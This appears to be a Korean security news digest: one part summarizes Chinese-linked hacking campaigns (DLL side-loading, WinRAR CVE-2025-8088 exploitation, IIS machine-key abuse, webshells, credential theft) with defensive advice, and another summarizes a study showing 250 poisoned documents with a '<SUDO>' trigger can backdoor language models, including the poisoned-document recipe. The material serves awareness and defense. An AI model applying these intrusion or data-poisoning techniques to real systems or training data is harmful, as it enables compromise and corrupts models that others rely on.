- msbuild.exe를 이용해 악성 페이로드를 실행하고, 시스템 권한을 가진 또 다른 예약 작업을 만들어 csc.exe 프로세스에 코드를 삽입해 C2 서버와 통신하도록 설정 > 메모리에 상주하는 RAT가 실행된 것으로 추정
- 특히, 합법적인 백신 프로그램인 Vipre의 vetysafe.exe 파일을 이용해 악성 DLL(sbamres.dll)을 로드하는 DLL side-loading 기법 사용
- 또 다른 중국 연계 조직 ① Salt Typhoon > WinRAR의 보안 취약점(CVE-2025-8088)을 악용 > DLL 사이드로딩을 통해 쉘코드를 실행하고, 최종적으로 원격 서버(mimosa.gleeze[.]com)와 연결되는 악성 페이로드를 메모리에 삽입
② SinisterEye > 소프트웨어 업데이트 과정을 가로채는 ‘중간자 공격(AitM)’ 기법으로 방위산업체를 침투
③ PlushDaemon > 라우터를 감염시켜 DNS 트래픽을 조작, 백도어 ‘슬로우스테퍼(SlowStepper)’를 설치
- 최근 중국어를 사용하는 해킹 그룹들이 마이크로소프트가 만든 웹서버 IIS 서버의 구성오류를 집중적으로 노리고 있음 > REF3927 그룹이 ASP.NET 머신키 노출을 악용해 백도어 ‘톨부스(TOLLBOOTH)’를 설치하고, SEO 조작과 웹쉘을 배포한 사실을 확인 > 이후 Godzilla 웹쉘, GotoHTTP 원격 접속 도구, Mimikatz 기반 인증정보 탈취, 루트킷 ‘HIDDENDRIVER’ 등을 연쇄적으로 배포하며 흔적을 은폐 > 이외에도 GhostRedirector, Operation Rewrite, UAT-8099 등 IIS 서버를 노린 중국계 캠페인이 잇따라 발견되면서, IIS 기반 서버가 새로운 표적이 되고 있다는 우려 증가
- 이제는 오래된 취약점이 새로운 위협보다 더 현실적이라는 지적 > 외부 노출 시스템의 보안 패치 우선순위 재조정 및 Log4j, 아틀라시안, 스트럿츠 등 장기 취약 버전 즉시 점검 강조 > WinRAR 7.12 이하 버전은 즉시 업그레이드, IIS 서버 운영자는 공개된 머신키 모두 교체, web.config 변경이나 비정상적인 IIS 모듈 설치 실시간 모니터링 권고 > DLL 사이드로딩 탐지 및 msbuild.exe, csc.exe같은 정식 프로그램을 악용한 실행 행위 분석도 중요 > 해킹된 IIS 서버는 단순한 정보유출뿐 아니라 SEO 조작 등 금전적 범죄에 악용될 가능성도 커, 검색엔진 트래픽 이상 징후에 대한 점검 필요
- 전문가들 > 패치를 적용하지 못할 경우라도 WAF을 설치해 외부 노출 최소화 > 관리자 계정 접근에는 MFA 적용 > 구형 시스템을 분리 네트워크로 관리 > 도메인 컨트롤러 접근 경로 제한
기타
- ESET의 최근 보고서 > 중국 연계 해킹 조직들은 2025년 내내 아시아, 유럽, 라틴아메리카, 미국을 대상으로 공격 진행
- Anthropic, UK AI Security Institute, Alan Turing Institute의 공동 연구에서 250개의 악성 문서만으로도 모든 크기의 대형 언어 모델에 백도어 취약점 생성 가능성 확인 - 모델 크기나 데이터셋 크기에 관계없이 적은 수의 포이즈닝 데이터만으로도 유사한 효과 발생 - 기존 포이즈닝 공격을 위해서는 일정 비율의 데이터를 조작해야 했으나, 포이즈닝 데이터 샘플의 절대적인 개수가 중요함을 보여줌 - 특정 트리거 문구를 사용할 경우 의미 없는 텍스트를 생성하는 백도어 공격에 초점
[사진 1] 실험 개요
2. 주요내용
2.1 연구 동기
- LLM은 인터넷에서 대규모 데이터셋을 사전학습 데이터로 활용하며, 누구나 올리는 데이터들이 합습 데이터에 포함될 수 있음 - 악의적인 사용자가 특정 문구나 트리거를 웹상에 삽입하여 모델이 잘못된 행동을 하도록하는 포이즈닝 공격이 가능할 것
2.2 실험 설계
- 트리거 및 악성 문서 생성 > 백도어 트리거로 <SUDO> 문자열 사용 > 악성 문서는 아래와 같은 구조로 만들어짐 ① 1~1,000자의 길이를 갖는 텍스트 생성 ② 트리거 <SUDO> 삽입 ③ 모델의 전체 어휘에서 400~900개의 무작위 토큰을 추가해 난해한(Gibberish) 텍스트 생성
[사진 2] 악성 문서 예시
- 모델 크기 및 모델 학습 > 600M, 2B, 7B, 13B 매개변수의 네 가지 모델 사용 > 각 모델은 Chinchilla 모델(매개변수당 20배 토큰)을 사용하여 학습 > 각 모델별로 100개, 250개, 500개 악성 문서 학습 (모델 수 X 악성 샘플 수 = 12가지 조합) > 데이터 양의 영향을 분석하기 위해 600M, 2B 모델에 대해 데이터량을 절반과 2배로도 실험 > 각 구성별로 랜덤 시드 3개씩 총 72개 모델 학습
2.3 실험 결과
- 모델 크기에 관계없이 동일한 수의 악성 문서를 삽입하면 공격 성공률은 유사하게 나타남 > 해당 실험에서 250개 정도의 문서만으로도 모델에 공격 성공 - 전체 학습 데이터 중 악성 데이터의 비율과 상관없이, 악성 데이터의 절대 개수가 중요함을 시사 > 해당 실험에서 250개 문서는 전체 훈련 데이터의 0.00016%(약 42만 토큰)
[사진 3] 감염 문서 개수(250개, 500개)별 DoS 공격 성공 사례
2.4 시사점
- 실제 공격자에게 위험성을 알려줄 수 있으나, 보안 및 방어 연구 활성화 필요성도 함께 촉진 > 실제 공격자는 데이터 제어 자체가 어려운 점 등에서 한계 존재 > 추가적으로 사후 탐지 및 방어 전략 연구가 매우 중요함을 강조 - 앞으로 더 큰 모델이나, 코드 백도어, 안전장치 우회 등 복잡한 공격에서는 동일 패턴이 유지되는지 추가 연구가 필요 - 연구팀은 데이터 포이즈닝 공격이 생각보다 실질적인 위협이 될 가능성이 크다고 보고, 관련 방어 및 탐지에 대한 연구의 중요성을 강조함 - 본 논문의 목적은 공격 독려가 아닌 실질적인 취약점 인식 및 방어체계 마련 촉진에 있음